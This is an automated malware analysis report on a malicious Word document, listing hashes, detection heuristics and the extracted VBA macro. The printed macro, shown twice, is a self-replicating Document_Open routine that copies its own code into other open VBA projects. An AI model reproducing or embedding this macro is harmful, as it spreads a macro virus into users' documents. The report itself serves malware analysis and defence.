Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 042fe8ee86f40764…

MALICIOUS

Office (OLE)

66.0 KB Created: 2016-04-19 01:51:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 6e5ec65967b9446cd6c4f5c661c3829a SHA-1: 246f1f8d638e43fcc247d0ea4bb147f0cf3fb152 SHA-256: 042fe8ee86f407641056cd504fee357dc2e473aa1ccceb22f27fbcb19e8c8483
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing a VBA macro. The macro's Document_Open subroutine is designed to copy its own code into other VBComponents within the VBE. This self-replication behavior is suspicious and aims to make the macro more persistent or harder to remove. No external network activity or payload delivery was observed in the provided evidence.

Heuristics 3

  • ClamAV: Doc.Macro.MaliciousHeuristic-6290327-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.MaliciousHeuristic-6290327-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2699 bytes
SHA-256: 487525f60e60ceec14673601ade982832dfda5c6fd52d40e287048422f673bdf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Private Sub Document_Open()
Dim MACROTEXT As String
'Dim AA As VBComponent
For I = 1 To VBE.VBProjects.Count
On Error GoTo 11
 P = VBE.VBProjects(I).FileName
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name

 R = InStrRev(P, "\")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 C = Mid(P, R + 1, Len(P) - R - S)
 If B = C Then
 Set AA = VBE.VBProjects(I).VBComponents(1)
LOCALLINES = AA.CodeModule.CountOfLines
MACROTEXT = AA.CodeModule.Lines(1, AA.CodeModule.CountOfLines)
 Exit For
 End If

11: Err.Clear
Next I

For I = 1 To VBE.VBProjects.Count
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
On Error GoTo 12
 P = VBE.VBProjects(I).Name
 R = InStrRev(P, "\")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 C = Mid(P, R + 1, Len(P) - R - S)
12:
If B <> C And LOCALLINES > VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then
Err.Clear
Set AA = VBE.VBProjects(I).VBComponents(1)
 AA.CodeModule.AddFromString (MACROTEXT)
  
 End If
Next I

End Sub

Private Sub Document_Open1()
Dim MACROTEXT As String
'Dim AA As VBComponent
For I = 1 To VBE.VBProjects.Count
On Error GoTo 11
 P = VBE.VBProjects(I).FileName
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name

 R = InStrRev(P, "\")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 C = Mid(P, R + 1, Len(P) - R - S)
 If B = C Then
 Set AA = VBE.VBProjects(I).VBComponents(1)
LOCALLINES = AA.CodeModule.CountOfLines
MACROTEXT = AA.CodeModule.Lines(1, AA.CodeModule.CountOfLines)
 Exit For
 End If

11: Err.Clear
Next I

For I = 1 To VBE.VBProjects.Count
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
On Error GoTo 12
 P = VBE.VBProjects(I).Name
 R = InStrRev(P, "\")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 C = Mid(P, R + 1, Len(P) - R - S)
12:
If B <> C And LOCALLINES > VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then
Err.Clear
Set AA = VBE.VBProjects(I).VBComponents(1)
 AA.CodeModule.AddFromString (MACROTEXT)
  
 End If
Next I

End Sub

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